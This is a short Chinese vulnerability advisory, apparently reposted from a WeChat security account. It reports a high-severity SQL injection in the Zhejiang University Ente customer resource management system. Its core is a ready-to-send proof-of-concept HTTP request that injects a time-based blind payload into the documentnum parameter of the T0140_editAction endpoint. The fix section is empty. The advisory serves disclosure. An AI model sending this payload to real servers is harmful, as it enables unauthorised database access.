-
暂无
-
高危
浙大恩特客户资源管理系统是一款外贸管理软件，它提供了多种功能，包括客户档案管理、邮件管理、OA外贸办公管理系统、分管权限管理、联系跟进及提醒、业务检查管理、统计分析管理等。
-
浙大恩特客户资源管理系统
0x05 POC
GET /entsoft/T0140_editAction.entweb;.js?method=getdocumentnumFlag&documentnum=1%27;WAITFOR+DELAY+%270:0:5%27%2d%2d HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
0x06 修复建议
原文始发于微信公众号（浅安安全）：漏洞预警 | 浙大恩特客户资源管理系统T0140_editAction SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论